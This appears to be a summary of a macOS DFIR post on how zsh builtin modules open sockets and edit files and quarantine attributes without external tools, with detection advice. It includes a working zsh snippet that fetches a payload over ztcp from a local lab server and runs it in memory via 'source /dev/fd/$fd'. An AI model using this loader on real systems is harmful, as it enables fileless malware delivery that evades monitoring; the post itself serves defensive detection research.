Living Inside the Shell: zsh Modules on macOS
A DFIR researcher shows how macOS's default shell, zsh, ships with loadable modules (zsh/net/tcp, zsh/mapfile, zsh/attr, zsh/stat, zsh/sched) that let the shell itself open raw TCP sockets, read/write files, and manipulate extended attributes like com.apple.quarantine without spawning curl, xattr, rm, or nc. The post walks through a full example using ztcp and source /dev/fd/$fd to fetch and execute a second-stage payload directly from a socket (bootstrapping a LaunchAgent) with no downloaded file on disk and no child process, referencing the prior real-world use of zsh/net/tcp for reverse shells (documented by ESET and GTFOBins). It then validates via eslogger/Endpoint Security that DELETEEXTATTR/SETEXTATTR and similar operations remain visible even when performed through zsh builtins, arguing detections should target the underlying OS event rather than the specific binary invoked.
What it is
A DFIR walkthrough of zsh's runtime module system (zmodload) on macOS, where /bin/zsh is the default shell. The core demonstration: loading zsh/net/tcp to open a raw socket via the ztcp builtin, hand-writing an HTTP request, and source-ing the response body straight off the file descriptor — all inside the existing zsh process, producing no curl, wget, nc, or child shell.
How it works
ztcp 127.0.0.1 8080 opens the connection and returns the descriptor in $REPLY. zsh now owns the socket; there is no networking utility to observe. You write the HTTP request bytes to the descriptor, drain the response headers, then source /dev/fd/$fd — the /dev/fd/<n> pathname lets zsh read the remaining socket bytes and interpret them as shell input. No payload.zsh ever hits disk, so filesystem searches for a downloaded file find nothing.
zmodload zsh/net/tcp
ztcp 127.0.0.1 8080
fd=$REPLY
print -rn -u $fd -- \
$'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'
while IFS= read -r -u $fd line; do
[[ "$line" == $'\r' || -z "$line" ]] && break
done
source /dev/fd/$fd
ztcp -c $fdWhat the summary omits: the broader module surface
The TCP case is one instance. The page lists other builtins that similarly displace utilities an analyst would normally look for — the same "attribute to /bin/zsh, not a child process" gap applies to file and xattr activity too:
| Module | Replaces / provides |
|---|---|
zsh/net/tcp | TCP sockets (ztcp) |
zsh/net/socket | Unix domain sockets |
zsh/system | low-level system functionality |
zsh/files | built-in file operations (no rm etc.) |
zsh/stat | file metadata |
zsh/mapfile | map files into an associative array |
zsh/attr | extended-attribute ops (no xattr) |
zsh/sched | scheduled commands inside zsh |
zsh/zutil | utility functions |
What to do
For triage, distinguish builtin from external command — the page notes whence -v ztcp identifies ztcp as a shell builtin with no separate executable. Since process-execution, command-line, and parent-child telemetry all come up empty here, detections need to lean on the surviving signal: the network connection itself still exists, originating from /bin/zsh.
Caveats
zsh/net/tcp provides only raw TCP with no TLS, so speaking HTTPS is not feasible and the author states this "significantly limits" ztcp as a drop-in curl replacement — though the primitive remains relevant for plaintext retrieval. Which modules are actually available depends on the zsh build and platform.
Organisations named here
- ClickFix
Technologies named here
- Zsh
- macOS
- ztcp
- zsh/mapfile module
- zsh/attr module
- eslogger
- Apple Endpoint Security framework
- GTFOBins
- Elastic detection rule
- python3 http.server
- launchctl
- ESET
Techniques named here
- Fileless TCP networking via zsh/net/tcp
- In-shell HTTP request construction
- Fileless second-stage execution via source /dev/fd/$fd
- ClickFix-style execution chains on macOS
- zsh/net/tcp reverse shell
- Fileless file manipulation via zsh/mapfile
- Extended-attribute manipulation via zsh/attr
- Quarantine attribute removal without xattr utility
Threat actors named here
- Mac cryptocurrency trading application malware
Related in Blue Team & Detection
AI-Coded Malware | Analyzing Vibe-Coded AD Enumeration | Huntress
